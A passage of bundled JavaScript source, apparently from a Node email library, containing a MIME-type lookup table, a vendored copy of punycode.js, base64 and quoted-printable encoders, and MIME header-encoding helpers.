'application/rss+xml']],\n ['xmz', 'xgl/movie'],\n ['xo', 'application/vnd.olpc-sugar'],\n ['xof', 'x-world/x-vrml'],\n ['xop', 'application/xop+xml'],\n ['xpi', 'application/x-xpinstall'],\n ['xpix', 'application/x-vnd.ls-xpix'],\n ['xpm', ['image/xpm', 'image/x-xpixmap']],\n ['xpr', 'application/vnd.is-xpr'],\n ['xps', 'application/vnd.ms-xpsdocument'],\n ['xpw', 'application/vnd.intercon.formnet'],\n ['xslt', 'application/xslt+xml'],\n ['xsm', 'application/vnd.syncml+xml'],\n ['xspf', 'application/xspf+xml'],\n ['xsr', 'video/x-amt-showrun'],\n ['xul', 'application/vnd.mozilla.xul+xml'],\n ['xwd', ['image/x-xwd', 'image/x-xwindowdump']],\n ['xyz', ['chemical/x-xyz', 'chemical/x-pdb']],\n ['yang', 'application/yang'],\n ['yin', 'application/yin+xml'],\n ['z', ['application/x-compressed', 'application/x-compress']],\n ['zaz', 'application/vnd.zzazz.deck+xml'],\n ['zip', ['application/zip', 'multipart/x-zip', 'application/x-zip-compressed', 'application/x-compressed']],\n ['zir', 'application/vnd.zul'],\n ['zmm', 'application/vnd.handheld-entertainment+xml'],\n ['zoo', 'application/octet-stream'],\n ['zsh', 'text/x-script.zsh']\n]);\n\nmodule.exports = {\n detectMimeType(filename) {\n if (!filename) {\n return defaultMimeType;\n }\n\n let parsed = path.parse(filename);\n let extension = (parsed.ext.substr(1) || parsed.name || '').split('?').shift().trim().toLowerCase();\n let value = defaultMimeType;\n\n if (extensions.has(extension)) {\n value = extensions.get(extension);\n }\n\n if (Array.isArray(value)) {\n return value[0];\n }\n return value;\n },\n\n detectExtension(mimeType) {\n if (!mimeType) {\n return defaultExtension;\n }\n let parts = (mimeType || '').toLowerCase().trim().split('/');\n let rootType = parts.shift().trim();\n let subType = parts.join('/').trim();\n\n if (mimeTypes.has(rootType + '/' + subType)) {\n let value = mimeTypes.get(rootType + '/' + subType);\n if (Array.isArray(value)) {\n return value[0];\n }\n return value;\n }\n\n switch (rootType) {\n case 'text':\n return 'txt';\n default:\n return 'bin';\n }\n }\n};\n","/*\n\nCopied from https://github.com/mathiasbynens/punycode.js/blob/ef3505c8abb5143a00d53ce59077c9f7f4b2ac47/punycode.js\n\nCopyright Mathias Bynens <https://mathiasbynens.be/>\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n*/\n/* eslint callback-return: 0, no-bitwise: 0, eqeqeq: 0, prefer-arrow-callback: 0, object-shorthand: 0 */\n\n'use strict';\n\n/** Highest positive signed 32-bit float value */\nconst maxInt = 2147483647; // aka. 0x7FFFFFFF or 2^31-1\n\n/** Bootstring parameters */\nconst base = 36;\nconst tMin = 1;\nconst tMax = 26;\nconst skew = 38;\nconst damp = 700;\nconst initialBias = 72;\nconst initialN = 128; // 0x80\nconst delimiter = '-'; // '\\x2D'\n\n/** Regular expressions */\nconst regexPunycode = /^xn--/;\nconst regexNonASCII = /[^\\0-\\x7F]/; // Note: U+007F DEL is excluded too.\nconst regexSeparators = /[\\x2E\\u3002\\uFF0E\\uFF61]/g; // RFC 3490 separators\n\n/** Error messages */\nconst errors = {\n overflow: 'Overflow: input needs wider integers to process',\n 'not-basic': 'Illegal input >= 0x80 (not a basic code point)',\n 'invalid-input': 'Invalid input'\n};\n\n/** Convenience shortcuts */\nconst baseMinusTMin = base - tMin;\nconst floor = Math.floor;\nconst stringFromCharCode = String.fromCharCode;\n\n/*--------------------------------------------------------------------------*/\n\n/**\n * A generic error utility function.\n * @private\n * @param {String} type The error type.\n * @returns {Error} Throws a `RangeError` with the applicable error message.\n */\nfunction error(type) {\n throw new RangeError(errors[type]);\n}\n\n/**\n * A generic `Array#map` utility function.\n * @private\n * @param {Array} array The array to iterate over.\n * @param {Function} callback The function that gets called for every array\n * item.\n * @returns {Array} A new array of values returned by the callback function.\n */\nfunction map(array, callback) {\n const result = [];\n let length = array.length;\n while (length--) {\n result[length] = callback(array[length]);\n }\n return result;\n}\n\n/**\n * A simple `Array#map`-like wrapper to work with domain name strings or email\n * addresses.\n * @private\n * @param {String} domain The domain name or email address.\n * @param {Function} callback The function that gets called for every\n * character.\n * @returns {String} A new string of characters returned by the callback\n * function.\n */\nfunction mapDomain(domain, callback) {\n const parts = domain.split('@');\n let result = '';\n if (parts.length > 1) {\n // In email addresses, only the domain name should be punycoded. Leave\n // the local part (i.e. everything up to `@`) intact.\n result = parts[0] + '@';\n domain = parts[1];\n }\n // Avoid `split(regex)` for IE8 compatibility. See #17.\n domain = domain.replace(regexSeparators, '\\x2E');\n const labels = domain.split('.');\n const encoded = map(labels, callback).join('.');\n return result + encoded;\n}\n\n/**\n * Creates an array containing the numeric code points of each Unicode\n * character in the string. While JavaScript uses UCS-2 internally,\n * this function will convert a pair of surrogate halves (each of which\n * UCS-2 exposes as separate characters) into a single code point,\n * matching UTF-16.\n * @see `punycode.ucs2.encode`\n * @see <https://mathiasbynens.be/notes/javascript-encoding>\n * @memberOf punycode.ucs2\n * @name decode\n * @param {String} string The Unicode input string (UCS-2).\n * @returns {Array} The new array of code points.\n */\nfunction ucs2decode(string) {\n const output = [];\n let counter = 0;\n const length = string.length;\n while (counter < length) {\n const value = string.charCodeAt(counter++);\n if (value >= 0xd800 && value <= 0xdbff && counter < length) {\n // It's a high surrogate, and there is a next character.\n const extra = string.charCodeAt(counter++);\n if ((extra & 0xfc00) == 0xdc00) {\n // Low surrogate.\n output.push(((value & 0x3ff) << 10) + (extra & 0x3ff) + 0x10000);\n } else {\n // It's an unmatched surrogate; only append this code unit, in case the\n // next code unit is the high surrogate of a surrogate pair.\n output.push(value);\n counter--;\n }\n } else {\n output.push(value);\n }\n }\n return output;\n}\n\n/**\n * Creates a string based on an array of numeric code points.\n * @see `punycode.ucs2.decode`\n * @memberOf punycode.ucs2\n * @name encode\n * @param {Array} codePoints The array of numeric code points.\n * @returns {String} The new Unicode string (UCS-2).\n */\nconst ucs2encode = codePoints => String.fromCodePoint(...codePoints);\n\n/**\n * Converts a basic code point into a digit/integer.\n * @see `digitToBasic()`\n * @private\n * @param {Number} codePoint The basic numeric code point value.\n * @returns {Number} The numeric value of a basic code point (for use in\n * representing integers) in the range `0` to `base - 1`, or `base` if\n * the code point does not represent a value.\n */\nconst basicToDigit = function (codePoint) {\n if (codePoint >= 0x30 && codePoint < 0x3a) {\n return 26 + (codePoint - 0x30);\n }\n if (codePoint >= 0x41 && codePoint < 0x5b) {\n return codePoint - 0x41;\n }\n if (codePoint >= 0x61 && codePoint < 0x7b) {\n return codePoint - 0x61;\n }\n return base;\n};\n\n/**\n * Converts a digit/integer into a basic code point.\n * @see `basicToDigit()`\n * @private\n * @param {Number} digit The numeric value of a basic code point.\n * @returns {Number} The basic code point whose value (when used for\n * representing integers) is `digit`, which needs to be in the range\n * `0` to `base - 1`. If `flag` is non-zero, the uppercase form is\n * used; else, the lowercase form is used. The behavior is undefined\n * if `flag` is non-zero and `digit` has no uppercase form.\n */\nconst digitToBasic = function (digit, flag) {\n // 0..25 map to ASCII a..z or A..Z\n // 26..35 map to ASCII 0..9\n return digit + 22 + 75 * (digit < 26) - ((flag != 0) << 5);\n};\n\n/**\n * Bias adaptation function as per section 3.4 of RFC 3492.\n * https://tools.ietf.org/html/rfc3492#section-3.4\n * @private\n */\nconst adapt = function (delta, numPoints, firstTime) {\n let k = 0;\n delta = firstTime ? floor(delta / damp) : delta >> 1;\n delta += floor(delta / numPoints);\n for (; /* no initialization */ delta > (baseMinusTMin * tMax) >> 1; k += base) {\n delta = floor(delta / baseMinusTMin);\n }\n return floor(k + ((baseMinusTMin + 1) * delta) / (delta + skew));\n};\n\n/**\n * Converts a Punycode string of ASCII-only symbols to a string of Unicode\n * symbols.\n * @memberOf punycode\n * @param {String} input The Punycode string of ASCII-only symbols.\n * @returns {String} The resulting string of Unicode symbols.\n */\nconst decode = function (input) {\n // Don't use UCS-2.\n const output = [];\n const inputLength = input.length;\n let i = 0;\n let n = initialN;\n let bias = initialBias;\n\n // Handle the basic code points: let `basic` be the number of input code\n // points before the last delimiter, or `0` if there is none, then copy\n // the first basic code points to the output.\n\n let basic = input.lastIndexOf(delimiter);\n if (basic < 0) {\n basic = 0;\n }\n\n for (let j = 0; j < basic; ++j) {\n // if it's not a basic code point\n if (input.charCodeAt(j) >= 0x80) {\n error('not-basic');\n }\n output.push(input.charCodeAt(j));\n }\n\n // Main decoding loop: start just after the last delimiter if any basic code\n // points were copied; start at the beginning otherwise.\n\n for (let index = basic > 0 ? basic + 1 : 0; index < inputLength /* no final expression */; ) {\n // `index` is the index of the next character to be consumed.\n // Decode a generalized variable-length integer into `delta`,\n // which gets added to `i`. The overflow checking is easier\n // if we increase `i` as we go, then subtract off its starting\n // value at the end to obtain `delta`.\n const oldi = i;\n for (let w = 1, k = base /* no condition */; ; k += base) {\n if (index >= inputLength) {\n error('invalid-input');\n }\n\n const digit = basicToDigit(input.charCodeAt(index++));\n\n if (digit >= base) {\n error('invalid-input');\n }\n if (digit > floor((maxInt - i) / w)) {\n error('overflow');\n }\n\n i += digit * w;\n const t = k <= bias ? tMin : k >= bias + tMax ? tMax : k - bias;\n\n if (digit < t) {\n break;\n }\n\n const baseMinusT = base - t;\n if (w > floor(maxInt / baseMinusT)) {\n error('overflow');\n }\n\n w *= baseMinusT;\n }\n\n const out = output.length + 1;\n bias = adapt(i - oldi, out, oldi == 0);\n\n // `i` was supposed to wrap around from `out` to `0`,\n // incrementing `n` each time, so we'll fix that now:\n if (floor(i / out) > maxInt - n) {\n error('overflow');\n }\n\n n += floor(i / out);\n i %= out;\n\n // Insert `n` at position `i` of the output.\n output.splice(i++, 0, n);\n }\n\n return String.fromCodePoint(...output);\n};\n\n/**\n * Converts a string of Unicode symbols (e.g. a domain name label) to a\n * Punycode string of ASCII-only symbols.\n * @memberOf punycode\n * @param {String} input The string of Unicode symbols.\n * @returns {String} The resulting Punycode string of ASCII-only symbols.\n */\nconst encode = function (input) {\n const output = [];\n\n // Convert the input in UCS-2 to an array of Unicode code points.\n input = ucs2decode(input);\n\n // Cache the length.\n const inputLength = input.length;\n\n // Initialize the state.\n let n = initialN;\n let delta = 0;\n let bias = initialBias;\n\n // Handle the basic code points.\n for (const currentValue of input) {\n if (currentValue < 0x80) {\n output.push(stringFromCharCode(currentValue));\n }\n }\n\n const basicLength = output.length;\n let handledCPCount = basicLength;\n\n // `handledCPCount` is the number of code points that have been handled;\n // `basicLength` is the number of basic code points.\n\n // Finish the basic string with a delimiter unless it's empty.\n if (basicLength) {\n output.push(delimiter);\n }\n\n // Main encoding loop:\n while (handledCPCount < inputLength) {\n // All non-basic code points < n have been handled already. Find the next\n // larger one:\n let m = maxInt;\n for (const currentValue of input) {\n if (currentValue >= n && currentValue < m) {\n m = currentValue;\n }\n }\n\n // Increase `delta` enough to advance the decoder's <n,i> state to <m,0>,\n // but guard against overflow.\n const handledCPCountPlusOne = handledCPCount + 1;\n if (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) {\n error('overflow');\n }\n\n delta += (m - n) * handledCPCountPlusOne;\n n = m;\n\n for (const currentValue of input) {\n if (currentValue < n && ++delta > maxInt) {\n error('overflow');\n }\n if (currentValue === n) {\n // Represent delta as a generalized variable-length integer.\n let q = delta;\n for (let k = base /* no condition */; ; k += base) {\n const t = k <= bias ? tMin : k >= bias + tMax ? tMax : k - bias;\n if (q < t) {\n break;\n }\n const qMinusT = q - t;\n const baseMinusT = base - t;\n output.push(stringFromCharCode(digitToBasic(t + (qMinusT % baseMinusT), 0)));\n q = floor(qMinusT / baseMinusT);\n }\n\n output.push(stringFromCharCode(digitToBasic(q, 0)));\n bias = adapt(delta, handledCPCountPlusOne, handledCPCount === basicLength);\n delta = 0;\n ++handledCPCount;\n }\n }\n\n ++delta;\n ++n;\n }\n return output.join('');\n};\n\n/**\n * Converts a Punycode string representing a domain name or an email address\n * to Unicode. Only the Punycoded parts of the input will be converted, i.e.\n * it doesn't matter if you call it on a string that has already been\n * converted to Unicode.\n * @memberOf punycode\n * @param {String} input The Punycoded domain name or email address to\n * convert to Unicode.\n * @returns {String} The Unicode representation of the given Punycode\n * string.\n */\nconst toUnicode = function (input) {\n return mapDomain(input, function (string) {\n return regexPunycode.test(string) ? decode(string.slice(4).toLowerCase()) : string;\n });\n};\n\n/**\n * Converts a Unicode string representing a domain name or an email address to\n * Punycode. Only the non-ASCII parts of the domain name will be converted,\n * i.e. it doesn't matter if you call it with a domain that's already in\n * ASCII.\n * @memberOf punycode\n * @param {String} input The domain name or email address to convert, as a\n * Unicode string.\n * @returns {String} The Punycode representation of the given domain name or\n * email address.\n */\nconst toASCII = function (input) {\n return mapDomain(input, function (string) {\n return regexNonASCII.test(string) ? 'xn--' + encode(string) : string;\n });\n};\n\n/*--------------------------------------------------------------------------*/\n\n/** Define the public API */\nconst punycode = {\n /**\n * A string representing the current Punycode.js version number.\n * @memberOf punycode\n * @type String\n */\n version: '2.3.1',\n /**\n * An object of methods to convert from JavaScript's internal character\n * representation (UCS-2) to Unicode code points, and back.\n * @see <https://mathiasbynens.be/notes/javascript-encoding>\n * @memberOf punycode\n * @type Object\n */\n ucs2: {\n decode: ucs2decode,\n encode: ucs2encode\n },\n decode: decode,\n encode: encode,\n toASCII: toASCII,\n toUnicode: toUnicode\n};\n\nmodule.exports = punycode;\n","'use strict';\n\nconst Transform = require('stream').Transform;\n\n/**\n * Encodes a Buffer into a base64 encoded string\n *\n * @param {Buffer} buffer Buffer to convert\n * @returns {String} base64 encoded string\n */\nfunction encode(buffer) {\n if (typeof buffer === 'string') {\n buffer = Buffer.from(buffer, 'utf-8');\n }\n\n return buffer.toString('base64');\n}\n\n/**\n * Adds soft line breaks to a base64 string\n *\n * @param {String} str base64 encoded string that might need line wrapping\n * @param {Number} [lineLength=76] Maximum allowed length for a line\n * @returns {String} Soft-wrapped base64 encoded string\n */\nfunction wrap(str, lineLength) {\n str = (str || '').toString();\n lineLength = lineLength || 76;\n\n if (str.length <= lineLength) {\n return str;\n }\n\n let result = [];\n let pos = 0;\n let chunkLength = lineLength * 1024;\n while (pos < str.length) {\n let wrappedLines = str\n .substr(pos, chunkLength)\n .replace(new RegExp('.{' + lineLength + '}', 'g'), '$&\\r\\n')\n .trim();\n result.push(wrappedLines);\n pos += chunkLength;\n }\n\n return result.join('\\r\\n').trim();\n}\n\n/**\n * Creates a transform stream for encoding data to base64 encoding\n *\n * @constructor\n * @param {Object} options Stream options\n * @param {Number} [options.lineLength=76] Maximum length for lines, set to false to disable wrapping\n */\nclass Encoder extends Transform {\n constructor(options) {\n super();\n // init Transform\n this.options = options || {};\n\n if (this.options.lineLength !== false) {\n this.options.lineLength = this.options.lineLength || 76;\n }\n\n this._curLine = '';\n this._remainingBytes = false;\n\n this.inputBytes = 0;\n this.outputBytes = 0;\n }\n\n _transform(chunk, encoding, done) {\n if (encoding !== 'buffer') {\n chunk = Buffer.from(chunk, encoding);\n }\n\n if (!chunk || !chunk.length) {\n return setImmediate(done);\n }\n\n this.inputBytes += chunk.length;\n\n if (this._remainingBytes && this._remainingBytes.length) {\n chunk = Buffer.concat([this._remainingBytes, chunk], this._remainingBytes.length + chunk.length);\n this._remainingBytes = false;\n }\n\n if (chunk.length % 3) {\n this._remainingBytes = chunk.slice(chunk.length - (chunk.length % 3));\n chunk = chunk.slice(0, chunk.length - (chunk.length % 3));\n } else {\n this._remainingBytes = false;\n }\n\n let b64 = this._curLine + encode(chunk);\n\n if (this.options.lineLength) {\n b64 = wrap(b64, this.options.lineLength);\n\n // remove last line as it is still most probably incomplete\n let lastLF = b64.lastIndexOf('\\n');\n if (lastLF < 0) {\n this._curLine = b64;\n b64 = '';\n } else if (lastLF === b64.length - 1) {\n this._curLine = '';\n } else {\n this._curLine = b64.substr(lastLF + 1);\n b64 = b64.substr(0, lastLF + 1);\n }\n }\n\n if (b64) {\n this.outputBytes += b64.length;\n this.push(Buffer.from(b64, 'ascii'));\n }\n\n setImmediate(done);\n }\n\n _flush(done) {\n if (this._remainingBytes && this._remainingBytes.length) {\n this._curLine += encode(this._remainingBytes);\n }\n\n if (this._curLine) {\n this._curLine = wrap(this._curLine, this.options.lineLength);\n this.outputBytes += this._curLine.length;\n this.push(this._curLine, 'ascii');\n this._curLine = '';\n }\n done();\n }\n}\n\n// expose to the world\nmodule.exports = {\n encode,\n wrap,\n Encoder\n};\n","'use strict';\n\nconst Transform = require('stream').Transform;\n\n/**\n * Encodes a Buffer into a Quoted-Printable encoded string\n *\n * @param {Buffer} buffer Buffer to convert\n * @returns {String} Quoted-Printable encoded string\n */\nfunction encode(buffer) {\n if (typeof buffer === 'string') {\n buffer = Buffer.from(buffer, 'utf-8');\n }\n\n // usable characters that do not need encoding\n let ranges = [\n // https://tools.ietf.org/html/rfc2045#section-6.7\n [0x09], // <TAB>\n [0x0a], // <LF>\n [0x0d], // <CR>\n [0x20, 0x3c], // <SP>!\"#$%&'()*+,-./0123456789:;\n [0x3e, 0x7e] // >?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}\n ];\n let result = '';\n let ord;\n\n for (let i = 0, len = buffer.length; i < len; i++) {\n ord = buffer[i];\n // if the char is in allowed range, then keep as is, unless it is a WS in the end of a line\n if (checkRanges(ord, ranges) && !((ord === 0x20 || ord === 0x09) && (i === len - 1 || buffer[i + 1] === 0x0a || buffer[i + 1] === 0x0d))) {\n result += String.fromCharCode(ord);\n continue;\n }\n result += '=' + (ord < 0x10 ? '0' : '') + ord.toString(16).toUpperCase();\n }\n\n return result;\n}\n\n/**\n * Adds soft line breaks to a Quoted-Printable string\n *\n * @param {String} str Quoted-Printable encoded string that might need line wrapping\n * @param {Number} [lineLength=76] Maximum allowed length for a line\n * @returns {String} Soft-wrapped Quoted-Printable encoded string\n */\nfunction wrap(str, lineLength) {\n str = (str || '').toString();\n lineLength = lineLength || 76;\n\n if (str.length <= lineLength) {\n return str;\n }\n\n let pos = 0;\n let len = str.length;\n let match, code, line;\n let lineMargin = Math.floor(lineLength / 3);\n let result = '';\n\n // insert soft linebreaks where needed\n while (pos < len) {\n line = str.substr(pos, lineLength);\n if ((match = line.match(/\\r\\n/))) {\n line = line.substr(0, match.index + match[0].length);\n result += line;\n pos += line.length;\n continue;\n }\n\n if (line.substr(-1) === '\\n') {\n // nothing to change here\n result += line;\n pos += line.length;\n continue;\n } else if ((match = line.substr(-lineMargin).match(/\\n.*?$/))) {\n // truncate to nearest line break\n line = line.substr(0, line.length - (match[0].length - 1));\n result += line;\n pos += line.length;\n continue;\n } else if (line.length > lineLength - lineMargin && (match = line.substr(-lineMargin).match(/[ \\t.,!?][^ \\t.,!?]*$/))) {\n // truncate to nearest space\n line = line.substr(0, line.length - (match[0].length - 1));\n } else if (line.match(/[=][\\da-f]{0,2}$/i)) {\n // push incomplete encoding sequences to the next line\n if ((match = line.match(/[=][\\da-f]{0,1}$/i))) {\n line = line.substr(0, line.length - match[0].length);\n }\n\n // ensure that utf-8 sequences are not split\n while (line.length > 3 && line.length < len - pos && !line.match(/^(?:=[\\da-f]{2}){1,4}$/i) && (match = line.match(/[=][\\da-f]{2}$/gi))) {\n code = parseInt(match[0].substr(1, 2), 16);\n if (code < 128) {\n break;\n }\n\n line = line.substr(0, line.length - 3);\n\n if (code >= 0xc0) {\n break;\n }\n }\n }\n\n if (pos + line.length < len && line.substr(-1) !== '\\n') {\n if (line.length === lineLength && line.match(/[=][\\da-f]{2}$/i)) {\n line = line.substr(0, line.length - 3);\n } else if (line.length === lineLength) {\n line = line.substr(0, line.length - 1);\n }\n pos += line.length;\n line += '=\\r\\n';\n } else {\n pos += line.length;\n }\n\n result += line;\n }\n\n return result;\n}\n\n/**\n * Helper function to check if a number is inside provided ranges\n *\n * @param {Number} nr Number to check for\n * @param {Array} ranges An Array of allowed values\n * @returns {Boolean} True if the value was found inside allowed ranges, false otherwise\n */\nfunction checkRanges(nr, ranges) {\n for (let i = ranges.length - 1; i >= 0; i--) {\n if (!ranges[i].length) {\n continue;\n }\n if (ranges[i].length === 1 && nr === ranges[i][0]) {\n return true;\n }\n if (ranges[i].length === 2 && nr >= ranges[i][0] && nr <= ranges[i][1]) {\n return true;\n }\n }\n return false;\n}\n\n/**\n * Creates a transform stream for encoding data to Quoted-Printable encoding\n *\n * @constructor\n * @param {Object} options Stream options\n * @param {Number} [options.lineLength=76] Maximum length for lines, set to false to disable wrapping\n */\nclass Encoder extends Transform {\n constructor(options) {\n super();\n\n // init Transform\n this.options = options || {};\n\n if (this.options.lineLength !== false) {\n this.options.lineLength = this.options.lineLength || 76;\n }\n\n this._curLine = '';\n\n this.inputBytes = 0;\n this.outputBytes = 0;\n }\n\n _transform(chunk, encoding, done) {\n let qp;\n\n if (encoding !== 'buffer') {\n chunk = Buffer.from(chunk, encoding);\n }\n\n if (!chunk || !chunk.length) {\n return done();\n }\n\n this.inputBytes += chunk.length;\n\n if (this.options.lineLength) {\n qp = this._curLine + encode(chunk);\n qp = wrap(qp, this.options.lineLength);\n qp = qp.replace(/(^|\\n)([^\\n]*)$/, (match, lineBreak, lastLine) => {\n this._curLine = lastLine;\n return lineBreak;\n });\n\n if (qp) {\n this.outputBytes += qp.length;\n this.push(qp);\n }\n } else {\n qp = encode(chunk);\n this.outputBytes += qp.length;\n this.push(qp, 'ascii');\n }\n\n done();\n }\n\n _flush(done) {\n if (this._curLine) {\n this.outputBytes += this._curLine.length;\n this.push(this._curLine, 'ascii');\n }\n done();\n }\n}\n\n// expose to the world\nmodule.exports = {\n encode,\n wrap,\n Encoder\n};\n","/* eslint no-control-regex:0 */\n\n'use strict';\n\nconst base64 = require('../base64');\nconst qp = require('../qp');\nconst mimeTypes = require('./mime-types');\n\nmodule.exports = {\n /**\n * Checks if a value is plaintext string (uses only printable 7bit chars)\n *\n * @param {String} value String to be tested\n * @returns {Boolean} true if it is a plaintext string\n */\n isPlainText(value, isParam) {\n const re = isParam ? /[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\"\\u0080-\\uFFFF]/ : /[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\u0080-\\uFFFF]/;\n if (typeof value !== 'string' || re.test(value)) {\n return false;\n } else {\n return true;\n }\n },\n\n /**\n * Checks if a multi line string containes lines longer than the selected value.\n *\n * Useful when detecting if a mail message needs any processing at all –\n * if only plaintext characters are used and lines are short, then there is\n * no need to encode the values in any way. If the value is plaintext but has\n * longer lines then allowed, then use format=flowed\n *\n * @param {Number} lineLength Max line length to check for\n * @returns {Boolean} Returns true if there is at least one line longer than lineLength chars\n */\n hasLongerLines(str, lineLength) {\n if (str.length > 128 * 1024) {\n // do not test strings longer than 128kB\n return true;\n }\n return new RegExp('^.{' + (lineLength + 1) + ',}', 'm').test(str);\n },\n\n /**\n * Encodes a string or an Buffer to an UTF-8 MIME Word (rfc2047)\n *\n * @param {String|Buffer} data String to be encoded\n * @param {String} mimeWordEncoding='Q' Encoding for the mime word, either Q or B\n * @param {Number} [maxLength=0] If set, split mime words into several chunks if needed\n * @return {String} Single or several mime words joined together\n */\n encodeWord(data, mimeWordEncoding, maxLength) {\n mimeWordEncoding = (mimeWordEncoding || 'Q').toString().toUpperCase().trim().charAt(0);\n maxLength = maxLength || 0;\n\n let encodedStr;\n let toCharset = 'UTF-8';\n\n if (maxLength && maxLength > 7 + toCharset.length) {\n maxLength -= 7 + toCharset.length;\n }\n\n if (mimeWordEncoding === 'Q') {\n // https://tools.ietf.org/html/rfc2047#section-5 rule (3)\n encodedStr = qp.encode(data).replace(/[^a-z0-9!*+\\-/=]/gi, chr => {\n let ord = chr.charCodeAt(0).toString(16).toUpperCase();\n if (chr === ' ') {\n return '_';\n } else {\n return '=' + (ord.length === 1 ? '0' + ord : ord);\n }\n });\n } else if (mimeWordEncoding === 'B') {\n encodedStr = typeof data === 'string' ? data : base64.encode(data);\n maxLength = maxLength ? Math.max(3, ((maxLength - (maxLength % 4)) / 4) * 3) : 0;\n }\n\n if (maxLength && (mimeWordEncoding !== 'B' ? encodedStr : base64.encode(data)).length > maxLength) {\n if (mimeWordEncoding === 'Q') {\n encodedStr = this.splitMimeEncodedString(encodedStr, maxLength).join('?= =?' + toCharset + '?' + mimeWordEncoding + '?');\n } else {\n // RFC2047 6.3 (2) states that encoded-word must include an integral number of characters, so no chopping unicode sequences\n let parts = [];\n let lpart = '';\n for (let i = 0, len = encodedStr.length; i < len; i++) {\n let chr = encodedStr.charAt(i);\n\n if (/[\\ud83c\\ud83d\\ud83e]/.test(chr) && i < len - 1) {\n // composite emoji byte, so add the next byte as well\n chr += encodedStr.charAt(++i);\n }\n\n // check if we can add this character to the existing string\n // without breaking byte length limit\n if (Buffer.byteLength(lpart + chr) <= maxLength || i === 0) {\n lpart += chr;\n } else {\n // we hit the length limit, so push the existing string and start over\n parts.push(base64.encode(lpart));\n lpart = chr;\n }\n }\n if (lpart) {\n parts.push(base64.encode(lpart));\n }\n\n if (parts.length > 1) {\n encodedStr = parts.join('?= =?' + toCharset + '?' + mimeWordEncoding + '?');\n } else {\n encodedStr = parts.join('');\n }\n }\n } else if (mimeWordEncoding === 'B') {\n encodedStr = base64.encode(data);\n }\n\n return '=?' + toCharset + '?' + mimeWordEncoding + '?' + encodedStr + (encodedStr.substr(-2) === '?=' ? '' : '?=');\n },\n\n /**\n * Finds word sequences with non ascii text and converts these to mime words\n *\n * @param {String} value String to be encoded\n * @param {String} mimeWordEncoding='Q' Encoding for the mime word, either Q or B\n * @param {Number} [maxLength=0] If set, split mime words into several chunks if needed\n * @param {Boolean} [encodeAll=false] If true and the value needs encoding then encodes entire string, not just the smallest match\n * @return {String} String with possible mime words\n */\n encodeWords(value, mimeWordEncoding, maxLength, encodeAll) {\n maxLength = maxLength || 0;\n\n let encodedValue;\n\n // find first word with a non-printable ascii or special symbol in it\n let firstMatch = value.match(/(?:^|\\s)([^\\s]*[\"\\u0080-\\uFFFF])/);\n if (!firstMatch) {\n return value;\n }\n\n if (encodeAll) {\n // if it is requested to encode everything or the string contains something that resebles encoded word, then encode everything\n\n return this.encodeWord(value, mimeWordEncoding, maxLength);\n }\n\n // find the last word with a non-printable ascii in it\n let lastMatch = value.match(/([\"\\u0080-\\uFFFF][^\\s]*)[^\"\\u0080-\\uFFFF]*$/);\n if (!lastMatch) {\n // should not happen\n return value;\n }\n\n let startIndex =\n firstMatch.index +\n (\n firstMatch[0].match(/[^\\s]/) || {\n index: 0\n }\n ).index;\n let endIndex = lastMatch.index + (lastMatch[1] || '').length;\n\n encodedValue =\n (startIndex ? value.substr(0, startIndex) : '') +\n this.encodeWord(value.substring(startIndex, endIndex), mimeWordEncoding || 'Q', maxLength) +\n (endIndex < value.length ? value.substr(endIndex) : '');\n\n return encodedValue;\n },\n\n /**\n * Joins parsed header value together as 'value; param1=value1; param2=value2'\n * PS: We are following RFC 822 for the list of special characters that we need to keep in quotes.\n * Refer: https://www.w3.org/Protocols/rfc1341/4_Content-Type.html\n * @param {Object} structured Parsed header value\n * @return {String} joined header value\n */\n buildHeaderValue(structured) {\n let paramsArray = [];\n\n Object.keys(structured.params || {}).forEach(param => {\n // filename might include unicode characters so it is a special case\n // other values probably do not\n let value = structured.params[param];\n if (!this.isPlainText(value, true) || value.length >= 75) {\n this.buildHeaderParam(param, value, 50).forEach(encodedParam => {\n if (!/[\\s\"\\\\;:/=(),<>@[\\]?]|^[-']|'$/.test(encodedParam.value) || encodedParam.key.substr(-1) === '*') {\n paramsArray.push(encodedParam.key + '=' + encodedParam.value);\n } else {\n paramsArray.push(encodedParam.key + '=' + JSON.stringify(encodedParam.value));\n }\n });\n } else if (/[\\s'\"\\\\;:/=(),<>@[\\]?]|^-/.test(value)) {\n paramsArray.push(param + '=' + JSON.stringify(value));\n } else {\n paramsArray.push(param + '=' + value);\n }\n });\n\n return structured.value + (paramsArray.length ? '; ' + paramsArray.join('; ') : '');\n },\n\n /**\n * Encodes a string or an Buffer to an UTF-8 Parameter Value Continuation encoding (rfc2231)\n * Useful for splitting long parameter values.\n *\n * For example\n * title=\"unicode string\"\n * becomes\n * title*0*=utf-8''unicode\n * title*1*=%20string\n *\n * @param {String|Buffer} data String to be encoded\n * @param {Number} [maxLength=50] Max length for generated chunks\n * @param {String} [fromCharset='UTF-8'] Source sharacter set\n * @return {Array} A list of encoded keys and headers\n */\n buildHeaderParam(key, data, maxLength) {\n let list = [];\n let encodedStr = typeof data === 'string' ? data : (data || '').toString();\n let encodedStrArr;\n let chr, ord;\n let line;\n let startPos = 0;\n let i, len;\n\n maxLength = maxLength || 50;\n\n // process ascii only text\n if (this.isPlainText(data, true)) {\n // check if conversion is even needed\n if (encodedStr.length <= maxLength) {\n return [\n {\n key,\n value: encodedStr\n 